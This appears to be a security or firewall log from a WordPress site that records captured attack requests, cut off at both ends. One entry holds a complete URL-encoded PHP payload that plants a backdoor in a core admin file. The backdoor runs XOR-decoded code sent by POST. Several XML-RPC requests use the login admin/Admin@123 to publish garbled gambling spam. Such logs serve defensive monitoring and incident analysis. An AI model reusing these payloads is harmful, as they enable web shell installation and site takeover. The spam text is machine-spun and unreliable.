2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524descriptor%253B%2520unlink%2528%2524descriptor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524component%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM08vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4152\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"macOS\"\n\ngO=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-plugin-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524pointer%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%253B%2520%2524sym%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524f%253D0%253B%2520%2524f%253Cstrlen%2528%2524data%2529%253B%2520%2524f%252B%252B%2529%257B%2524sym%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524f%255D%2529%2520%255E%252055%2529%253B%257D%2520%2524component%2520%253D%25200%253B%2520do%2520%257B%2520%2524elem%2520%253D%2520%2524pointer%255B%2524component%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524component%2520%253E%253D%2520count%2528%2524pointer%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524elem%2529%2520%2526%2526%2520is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524elem%252C%2520%2522.dchunk%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524descriptor%252C%2520%2524sym%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524descriptor%253B%2520unlink%2528%2524descriptor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524component%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:53:40","162.128.128.7","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> <?xml version:\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n  <methodName>wp.newPost<\/methodName>\r\n  <params>\r\n    <param><value>1<\/value><\/param>\r\n    <param><value>admin<\/value><\/param>\r\n    <param><value>Admin@123<\/value><\/param>\r\n    <param>\r\n      <value>\r\n        <struct>\r\n          <member><name>post_type<\/name>\r\n            <value>post<\/value><\/member>\r\n\t\t  <member><name>post_status<\/name>\r\n            <value>publish<\/value><\/member>\r\n\t\t  <member><name>post_title<\/name>\r\n            <value><![CDATA[House]]><\/value><\/member>\r\n\t\t  <member><name>post_content<\/name>\r\n            <value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Blogs<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Common gambling enterprises<\/a><\/li><li><a href=\"#toc-1\">How can i Open Other Harbors From JACKPOT Party Local casino?<\/a><\/li><li><a href=\"#toc-2\">Slotomania™ Slots Gambling games<\/a><\/li><li><a href=\"#toc-3\">Gambling enterprise Has<\/a><\/li><li><a href=\"#toc-4\">The Top 10 Best Harbors to try out Online for real Money<\/a><\/li><\/ul><\/div>\n<p>This type of online game give you the possible opportunity to win grand jackpots, which have benefits such as Totally free Spins, Multipliers, Scatters and you will Wilds shared. You might be a part of traditional position-design online game, enjoy video game styled to Tv shows such Narcos, if you don't gamble online game styled up to retro arcade game, such as Road Fighter dos. <!--more--> Some of the websites noted for giving a varied directory of position game is actually for example Hollywoodbets, Goldrush Gambling establishment, 10bet SA and Supabets. While some online slots games sites give you more variety than others. The fresh SpinaSlots party features examined the best signed up online slots games and gambling enterprise sites based on a variety of criteria.<\/p>\r\n<ul><li>We offer in control gambling (19 , ResponsibleGambling.org) and you will encourage secure, enjoyable enjoy.<\/li><li>Behavior otherwise victory during the societal video game will not suggest future victory during the real money gaming.<\/li><li>Devoted local casino apps are not destroyed either, taking pages a personalized experience.<\/li><\/ul>\r\n<h2 id=\"toc-0\">Common gambling enterprises<\/h2>\n<p>Going for one local casino in the of a lot, whether or not, will be a challenge. Hence for those who put B\/.500 and are considering a great one hundred% put added bonus, you'll in reality discover B\/.1,one hundred thousand,one hundred thousand in your account. A great 95% commission rate implies that for every B\/.step 1 your enjoy, you will winnings 0.95 right back.<\/p>\r\n\r\n<h2 id=\"toc-1\">How can i Open Other Harbors From JACKPOT Party Local casino?<\/h2>\n<p>Of numerous video game builders has launched public gambling establishment applications that allow professionals to twist the newest reels while you are connecting that have members of the family and you will other playing followers. Concurrently, they often <a href=\"https:\/\/vogueplay.com\/au\/sopranos\/\">vogueplay.com over here<\/a> times function totally free harbors without down load, so it is simple and much easier first off to play immediately. This type of video game boast state-of-the-artwork picture, lifelike animated graphics, and charming storylines you to definitely draw players on the step.<\/p>\r\n<h2 id=\"toc-2\">Slotomania™ Slots Gambling games<\/h2>\n<p>Await unsure detachment laws, tune details for failing to pay out earnings so you can professionals, playing with pirated gaming app, and having unresponsive service. Ante up to own everyday games to take on the digital thought to possess competitions with many within the award currency. Speak about the expertly vetted casinos which have safe dumps and enormous online game selections.<\/p>\n<img src=\"https:\/\/online.casino\/wp-content\/uploads\/betsoft-1.svg\" alt=\"johnny z casino app\" border=\"0\" align=\"right\">\n<p>A real income ports will always be offered an excellent volatility score, and this suggests the fresh position’s earn-frequency plus the amount of real money those gains can be worth. This particular feature contributes a completely independent a real income-winning potential to the new using harbors. Extra get ports are online slots that enable people to shop for the game’s special feature. Most slot internet sites render mobile-friendly websites, but the listing of a knowledgeable on the internet slot casinos boasts internet sites which have casino programs that give superior cellular gambling enterprise experience. “I chosen gambling enterprises known for generally quick profits which might be along with trustworthy, clear, and best for the fresh professionals, based on the effortless-to-fool around with structure, online game assortment, and you can invited added bonus.”<\/p>\r\n<h2 id=\"toc-3\">Gambling enterprise Has<\/h2>\n<p>Poker has many distinctions, all following a similar pattern away from play and usually utilizing the same give ranks ladder. The ball player to your best give with regards to the casino poker version are played wins the fresh container. At the end of the last gambling bullet, if the several pro stays, you will find a great showdown, where professionals let you know its previously hidden cards and you will consider the hand. Bluffing is actually a first feature out of web based poker, pinpointing it off their competing online game and you may off their games you to definitely fool around with poker hands scores.<\/p>\n<p>You do not have unique servings to experience these game, nevertheless feeling is much like watching a 3d flick. This type of 100 percent free ports are great for Funsters trying to find an activity-packaged slot machine game experience. Such totally free ports would be the prime choice for gambling enterprise traditionalists. House of Enjoyable have switched on the web slot machine gaming to the a free-for-all the and you will interesting experience. Rather than using actual-existence money, House from Enjoyable slot machines include in-video game gold coins and you may goods collections merely.<\/p>\r\n<h2 id=\"toc-4\">The Top 10 Best Harbors to try out Online for real Money<\/h2>\n<p>With the the brand new Celebrity Ability (on the next case of Star Skills), you might assemble products to begin with print resources! By the subscribing, you confirm that you may have realize and you can acknowledged the newsletter and privacy. That it shape confides in us what sort of return we are going to assume to overcome a longer period of time. So you can be eligible for the fresh modern jackpot, you will have to choice at the least 15 coins per twist.<\/p>]]><\/value><\/member>\t  \r\n\t\t  <member><name>post_date_gmt<\/name>\r\n            <value><dateTime.iso8601>20260512T15:53:37<\/dateTime.iso8601><\/value><\/member>\r\n\t\t  <member><name>post_name<\/name>\r\n            <value><![CDATA[house]]><\/value><\/member>\r\n          \r\n        <\/struct>\r\n      <\/value>\r\n    <\/param>\r\n  <\/params>\r\n<\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\ncontent-type:text\/xml; charset=utf-8\nhost:dewenlabels.com\nconnection:Close\ncontent-length:7087\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n  <methodName>wp.newPost<\/methodName>\r\n  <params>\r\n    <param><value>1<\/value><\/param>\r\n    <param><value>admin<\/value><\/param>\r\n    <param><value>Admin@123<\/value><\/param>\r\n    <param>\r\n      <value>\r\n        <struct>\r\n          <member><name>post_type<\/name>\r\n            <value>post<\/value><\/member>\r\n\t\t  <member><name>post_status<\/name>\r\n            <value>publish<\/value><\/member>\r\n\t\t  <member><name>post_title<\/name>\r\n            <value><![CDATA[House]]><\/value><\/member>\r\n\t\t  <member><name>post_content<\/name>\r\n            <value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Blogs<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Common gambling enterprises<\/a><\/li><li><a href=\"#toc-1\">How can i Open Other Harbors From JACKPOT Party Local casino?<\/a><\/li><li><a href=\"#toc-2\">Slotomania™ Slots Gambling games<\/a><\/li><li><a href=\"#toc-3\">Gambling enterprise Has<\/a><\/li><li><a href=\"#toc-4\">The Top 10 Best Harbors to try out Online for real Money<\/a><\/li><\/ul><\/div>\n<p>This type of online game give you the possible opportunity to win grand jackpots, which have benefits such as Totally free Spins, Multipliers, Scatters and you will Wilds shared. You might be a part of traditional position-design online game, enjoy video game styled to Tv shows such Narcos, if you don't gamble online game styled up to retro arcade game, such as Road Fighter dos. <!--more--> Some of the websites noted for giving a varied directory of position game is actually for example Hollywoodbets, Goldrush Gambling establishment, 10bet SA and Supabets. While some online slots games sites give you more variety than others. The fresh SpinaSlots party features examined the best signed up online slots games and gambling enterprise sites based on a variety of criteria.<\/p>\r\n<ul><li>We offer in control gambling (19 , ResponsibleGambling.org) and you will encourage secure, enjoyable enjoy.<\/li><li>Behavior otherwise victory during the societal video game will not suggest future victory during the real money gaming.<\/li><li>Devoted local casino apps are not destroyed either, taking pages a personalized experience.<\/li><\/ul>\r\n<h2 id=\"toc-0\">Common gambling enterprises<\/h2>\n<p>Going for one local casino in the of a lot, whether or not, will be a challenge. Hence for those who put B\/.500 and are considering a great one hundred% put added bonus, you'll in reality discover B\/.1,one hundred thousand,one hundred thousand in your account. A great 95% commission rate implies that for every B\/.step 1 your enjoy, you will winnings 0.95 right back.<\/p>\r\n\r\n<h2 id=\"toc-1\">How can i Open Other Harbors From JACKPOT Party Local casino?<\/h2>\n<p>Of numerous video game builders has launched public gambling establishment applications that allow professionals to twist the newest reels while you are connecting that have members of the family and you will other playing followers. Concurrently, they often <a href=\"https:\/\/vogueplay.com\/au\/sopranos\/\">vogueplay.com over here<\/a> times function totally free harbors without down load, so it is simple and much easier first off to play immediately. This type of video game boast state-of-the-artwork picture, lifelike animated graphics, and charming storylines you to definitely draw players on the step.<\/p>\r\n<h2 id=\"toc-2\">Slotomania™ Slots Gambling games<\/h2>\n<p>Await unsure detachment laws, tune details for failing to pay out earnings so you can professionals, playing with pirated gaming app, and having unresponsive service. Ante up to own everyday games to take on the digital thought to possess competitions with many within the award currency. Speak about the expertly vetted casinos which have safe dumps and enormous online game selections.<\/p>\n<img src=\"https:\/\/online.casino\/wp-content\/uploads\/betsoft-1.svg\" alt=\"johnny z casino app\" border=\"0\" align=\"right\">\n<p>A real income ports will always be offered an excellent volatility score, and this suggests the fresh position’s earn-frequency plus the amount of real money those gains can be worth. This particular feature contributes a completely independent a real income-winning potential to the new using harbors. Extra get ports are online slots that enable people to shop for the game’s special feature. Most slot internet sites render mobile-friendly websites, but the listing of a knowledgeable on the internet slot casinos boasts internet sites which have casino programs that give superior cellular gambling enterprise experience. “I chosen gambling enterprises known for generally quick profits which might be along with trustworthy, clear, and best for the fresh professionals, based on the effortless-to-fool around with structure, online game assortment, and you can invited added bonus.”<\/p>\r\n<h2 id=\"toc-3\">Gambling enterprise Has<\/h2>\n<p>Poker has many distinctions, all following a similar pattern away from play and usually utilizing the same give ranks ladder. The ball player to your best give with regards to the casino poker version are played wins the fresh container. At the end of the last gambling bullet, if the several pro stays, you will find a great showdown, where professionals let you know its previously hidden cards and you will consider the hand. Bluffing is actually a first feature out of web based poker, pinpointing it off their competing online game and you may off their games you to definitely fool around with poker hands scores.<\/p>\n<p>You do not have unique servings to experience these game, nevertheless feeling is much like watching a 3d flick. This type of 100 percent free ports are great for Funsters trying to find an activity-packaged slot machine game experience. Such totally free ports would be the prime choice for gambling enterprise traditionalists. House of Enjoyable have switched on the web slot machine gaming to the a free-for-all the and you will interesting experience. Rather than using actual-existence money, House from Enjoyable slot machines include in-video game gold coins and you may goods collections merely.<\/p>\r\n<h2 id=\"toc-4\">The Top 10 Best Harbors to try out Online for real Money<\/h2>\n<p>With the the brand new Celebrity Ability (on the next case of Star Skills), you might assemble products to begin with print resources! By the subscribing, you confirm that you may have realize and you can acknowledged the newsletter and privacy. That it shape confides in us what sort of return we are going to assume to overcome a longer period of time. So you can be eligible for the fresh modern jackpot, you will have to choice at the least 15 coins per twist.<\/p>]]><\/value><\/member>\t  \r\n\t\t  <member><name>post_date_gmt<\/name>\r\n            <value><dateTime.iso8601>20260512T15:53:37<\/dateTime.iso8601><\/value><\/member>\r\n\t\t  <member><name>post_name<\/name>\r\n            <value><![CDATA[house]]><\/value><\/member>\r\n          \r\n        <\/struct>\r\n      <\/value>\r\n    <\/param>\r\n  <\/params>\r\n<\/methodCall>"]
["2026-05-12 23:53:41","162.128.128.7","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> <?xml version:\"1.0\"?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param><value><array><data>\r\n  <value><int>0<\/int><\/value>\r\n  <value><string>admin<\/string><\/value>\r\n  <value><string>Admin@123<\/string><\/value>\r\n  <value><struct>\r\n  <member><name>title<\/name><value><![CDATA[House]]><\/value><\/member>\r\n  <member><name>description<\/name><value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Blogs<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Common gambling enterprises<\/a><\/li><li><a href=\"#toc-1\">How can i Open Other Harbors From JACKPOT Party Local casino?<\/a><\/li><li><a href=\"#toc-2\">Slotomania™ Slots Gambling games<\/a><\/li><li><a href=\"#toc-3\">Gambling enterprise Has<\/a><\/li><li><a href=\"#toc-4\">The Top 10 Best Harbors to try out Online for real Money<\/a><\/li><\/ul><\/div>\n<p>This type of online game give you the possible opportunity to win grand jackpots, which have benefits such as Totally free Spins, Multipliers, Scatters and you will Wilds shared. You might be a part of traditional position-design online game, enjoy video game styled to Tv shows such Narcos, if you don't gamble online game styled up to retro arcade game, such as Road Fighter dos. <!--more--> Some of the websites noted for giving a varied directory of position game is actually for example Hollywoodbets, Goldrush Gambling establishment, 10bet SA and Supabets. While some online slots games sites give you more variety than others. The fresh SpinaSlots party features examined the best signed up online slots games and gambling enterprise sites based on a variety of criteria.<\/p>\r\n<ul><li>We offer in control gambling (19 , ResponsibleGambling.org) and you will encourage secure, enjoyable enjoy.<\/li><li>Behavior otherwise victory during the societal video game will not suggest future victory during the real money gaming.<\/li><li>Devoted local casino apps are not destroyed either, taking pages a personalized experience.<\/li><\/ul>\r\n<h2 id=\"toc-0\">Common gambling enterprises<\/h2>\n<p>Going for one local casino in the of a lot, whether or not, will be a challenge. Hence for those who put B\/.500 and are considering a great one hundred% put added bonus, you'll in reality discover B\/.1,one hundred thousand,one hundred thousand in your account. A great 95% commission rate implies that for every B\/.step 1 your enjoy, you will winnings 0.95 right back.<\/p>\r\n\r\n<h2 id=\"toc-1\">How can i Open Other Harbors From JACKPOT Party Local casino?<\/h2>\n<p>Of numerous video game builders has launched public gambling establishment applications that allow professionals to twist the newest reels while you are connecting that have members of the family and you will other playing followers. Concurrently, they often <a href=\"https:\/\/vogueplay.com\/au\/sopranos\/\">vogueplay.com over here<\/a> times function totally free harbors without down load, so it is simple and much easier first off to play immediately. This type of video game boast state-of-the-artwork picture, lifelike animated graphics, and charming storylines you to definitely draw players on the step.<\/p>\r\n<h2 id=\"toc-2\">Slotomania™ Slots Gambling games<\/h2>\n<p>Await unsure detachment laws, tune details for failing to pay out earnings so you can professionals, playing with pirated gaming app, and having unresponsive service. Ante up to own everyday games to take on the digital thought to possess competitions with many within the award currency. Speak about the expertly vetted casinos which have safe dumps and enormous online game selections.<\/p>\n<img src=\"https:\/\/online.casino\/wp-content\/uploads\/betsoft-1.svg\" alt=\"johnny z casino app\" border=\"0\" align=\"right\">\n<p>A real income ports will always be offered an excellent volatility score, and this suggests the fresh position’s earn-frequency plus the amount of real money those gains can be worth. This particular feature contributes a completely independent a real income-winning potential to the new using harbors. Extra get ports are online slots that enable people to shop for the game’s special feature. Most slot internet sites render mobile-friendly websites, but the listing of a knowledgeable on the internet slot casinos boasts internet sites which have casino programs that give superior cellular gambling enterprise experience. “I chosen gambling enterprises known for generally quick profits which might be along with trustworthy, clear, and best for the fresh professionals, based on the effortless-to-fool around with structure, online game assortment, and you can invited added bonus.”<\/p>\r\n<h2 id=\"toc-3\">Gambling enterprise Has<\/h2>\n<p>Poker has many distinctions, all following a similar pattern away from play and usually utilizing the same give ranks ladder. The ball player to your best give with regards to the casino poker version are played wins the fresh container. At the end of the last gambling bullet, if the several pro stays, you will find a great showdown, where professionals let you know its previously hidden cards and you will consider the hand. Bluffing is actually a first feature out of web based poker, pinpointing it off their competing online game and you may off their games you to definitely fool around with poker hands scores.<\/p>\n<p>You do not have unique servings to experience these game, nevertheless feeling is much like watching a 3d flick. This type of 100 percent free ports are great for Funsters trying to find an activity-packaged slot machine game experience. Such totally free ports would be the prime choice for gambling enterprise traditionalists. House of Enjoyable have switched on the web slot machine gaming to the a free-for-all the and you will interesting experience. Rather than using actual-existence money, House from Enjoyable slot machines include in-video game gold coins and you may goods collections merely.<\/p>\r\n<h2 id=\"toc-4\">The Top 10 Best Harbors to try out Online for real Money<\/h2>\n<p>With the the brand new Celebrity Ability (on the next case of Star Skills), you might assemble products to begin with print resources! By the subscribing, you confirm that you may have realize and you can acknowledged the newsletter and privacy. That it shape confides in us what sort of return we are going to assume to overcome a longer period of time. So you can be eligible for the fresh modern jackpot, you will have to choice at the least 15 coins per twist.<\/p>]]><\/value><\/member>\r\n  <member><name>dateCreated<\/name><value><dateTime.iso8601>20260512T15:53:39<\/dateTime.iso8601><\/value><\/member>\r\n  <member><name>mt_allow_comments<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>mt_allow_pings<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>post_type<\/name><value><string>post<\/string><\/value><\/member>\r\n  <member><name>mt_keywords<\/name><value><string><\/string><\/value><\/member>\r\n  \r\n  <member><name>custom_fields<\/name><value><array><data>\r\n  <value><string><\/string><\/value>\r\n<\/data><\/array><\/value><\/member>\r\n<\/struct><\/value>\r\n  <value><boolean>1<\/boolean><\/value>\r\n<\/data><\/array><\/value><\/param>\r\n<\/params><\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\ncontent-type:text\/xml; charset=utf-8\nhost:dewenlabels.com\nconnection:Close\ncontent-length:7220\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\n\n<?xml version=\"1.0\"?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param><value><array><data>\r\n  <value><int>0<\/int><\/value>\r\n  <value><string>admin<\/string><\/value>\r\n  <value><string>Admin@123<\/string><\/value>\r\n  <value><struct>\r\n  <member><name>title<\/name><value><![CDATA[House]]><\/value><\/member>\r\n  <member><name>description<\/name><value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Blogs<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Common gambling enterprises<\/a><\/li><li><a href=\"#toc-1\">How can i Open Other Harbors From JACKPOT Party Local casino?<\/a><\/li><li><a href=\"#toc-2\">Slotomania™ Slots Gambling games<\/a><\/li><li><a href=\"#toc-3\">Gambling enterprise Has<\/a><\/li><li><a href=\"#toc-4\">The Top 10 Best Harbors to try out Online for real Money<\/a><\/li><\/ul><\/div>\n<p>This type of online game give you the possible opportunity to win grand jackpots, which have benefits such as Totally free Spins, Multipliers, Scatters and you will Wilds shared. You might be a part of traditional position-design online game, enjoy video game styled to Tv shows such Narcos, if you don't gamble online game styled up to retro arcade game, such as Road Fighter dos. <!--more--> Some of the websites noted for giving a varied directory of position game is actually for example Hollywoodbets, Goldrush Gambling establishment, 10bet SA and Supabets. While some online slots games sites give you more variety than others. The fresh SpinaSlots party features examined the best signed up online slots games and gambling enterprise sites based on a variety of criteria.<\/p>\r\n<ul><li>We offer in control gambling (19 , ResponsibleGambling.org) and you will encourage secure, enjoyable enjoy.<\/li><li>Behavior otherwise victory during the societal video game will not suggest future victory during the real money gaming.<\/li><li>Devoted local casino apps are not destroyed either, taking pages a personalized experience.<\/li><\/ul>\r\n<h2 id=\"toc-0\">Common gambling enterprises<\/h2>\n<p>Going for one local casino in the of a lot, whether or not, will be a challenge. Hence for those who put B\/.500 and are considering a great one hundred% put added bonus, you'll in reality discover B\/.1,one hundred thousand,one hundred thousand in your account. A great 95% commission rate implies that for every B\/.step 1 your enjoy, you will winnings 0.95 right back.<\/p>\r\n\r\n<h2 id=\"toc-1\">How can i Open Other Harbors From JACKPOT Party Local casino?<\/h2>\n<p>Of numerous video game builders has launched public gambling establishment applications that allow professionals to twist the newest reels while you are connecting that have members of the family and you will other playing followers. Concurrently, they often <a href=\"https:\/\/vogueplay.com\/au\/sopranos\/\">vogueplay.com over here<\/a> times function totally free harbors without down load, so it is simple and much easier first off to play immediately. This type of video game boast state-of-the-artwork picture, lifelike animated graphics, and charming storylines you to definitely draw players on the step.<\/p>\r\n<h2 id=\"toc-2\">Slotomania™ Slots Gambling games<\/h2>\n<p>Await unsure detachment laws, tune details for failing to pay out earnings so you can professionals, playing with pirated gaming app, and having unresponsive service. Ante up to own everyday games to take on the digital thought to possess competitions with many within the award currency. Speak about the expertly vetted casinos which have safe dumps and enormous online game selections.<\/p>\n<img src=\"https:\/\/online.casino\/wp-content\/uploads\/betsoft-1.svg\" alt=\"johnny z casino app\" border=\"0\" align=\"right\">\n<p>A real income ports will always be offered an excellent volatility score, and this suggests the fresh position’s earn-frequency plus the amount of real money those gains can be worth. This particular feature contributes a completely independent a real income-winning potential to the new using harbors. Extra get ports are online slots that enable people to shop for the game’s special feature. Most slot internet sites render mobile-friendly websites, but the listing of a knowledgeable on the internet slot casinos boasts internet sites which have casino programs that give superior cellular gambling enterprise experience. “I chosen gambling enterprises known for generally quick profits which might be along with trustworthy, clear, and best for the fresh professionals, based on the effortless-to-fool around with structure, online game assortment, and you can invited added bonus.”<\/p>\r\n<h2 id=\"toc-3\">Gambling enterprise Has<\/h2>\n<p>Poker has many distinctions, all following a similar pattern away from play and usually utilizing the same give ranks ladder. The ball player to your best give with regards to the casino poker version are played wins the fresh container. At the end of the last gambling bullet, if the several pro stays, you will find a great showdown, where professionals let you know its previously hidden cards and you will consider the hand. Bluffing is actually a first feature out of web based poker, pinpointing it off their competing online game and you may off their games you to definitely fool around with poker hands scores.<\/p>\n<p>You do not have unique servings to experience these game, nevertheless feeling is much like watching a 3d flick. This type of 100 percent free ports are great for Funsters trying to find an activity-packaged slot machine game experience. Such totally free ports would be the prime choice for gambling enterprise traditionalists. House of Enjoyable have switched on the web slot machine gaming to the a free-for-all the and you will interesting experience. Rather than using actual-existence money, House from Enjoyable slot machines include in-video game gold coins and you may goods collections merely.<\/p>\r\n<h2 id=\"toc-4\">The Top 10 Best Harbors to try out Online for real Money<\/h2>\n<p>With the the brand new Celebrity Ability (on the next case of Star Skills), you might assemble products to begin with print resources! By the subscribing, you confirm that you may have realize and you can acknowledged the newsletter and privacy. That it shape confides in us what sort of return we are going to assume to overcome a longer period of time. So you can be eligible for the fresh modern jackpot, you will have to choice at the least 15 coins per twist.<\/p>]]><\/value><\/member>\r\n  <member><name>dateCreated<\/name><value><dateTime.iso8601>20260512T15:53:39<\/dateTime.iso8601><\/value><\/member>\r\n  <member><name>mt_allow_comments<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>mt_allow_pings<\/name><value><int>0<\/int><\/value><\/member>\r\n  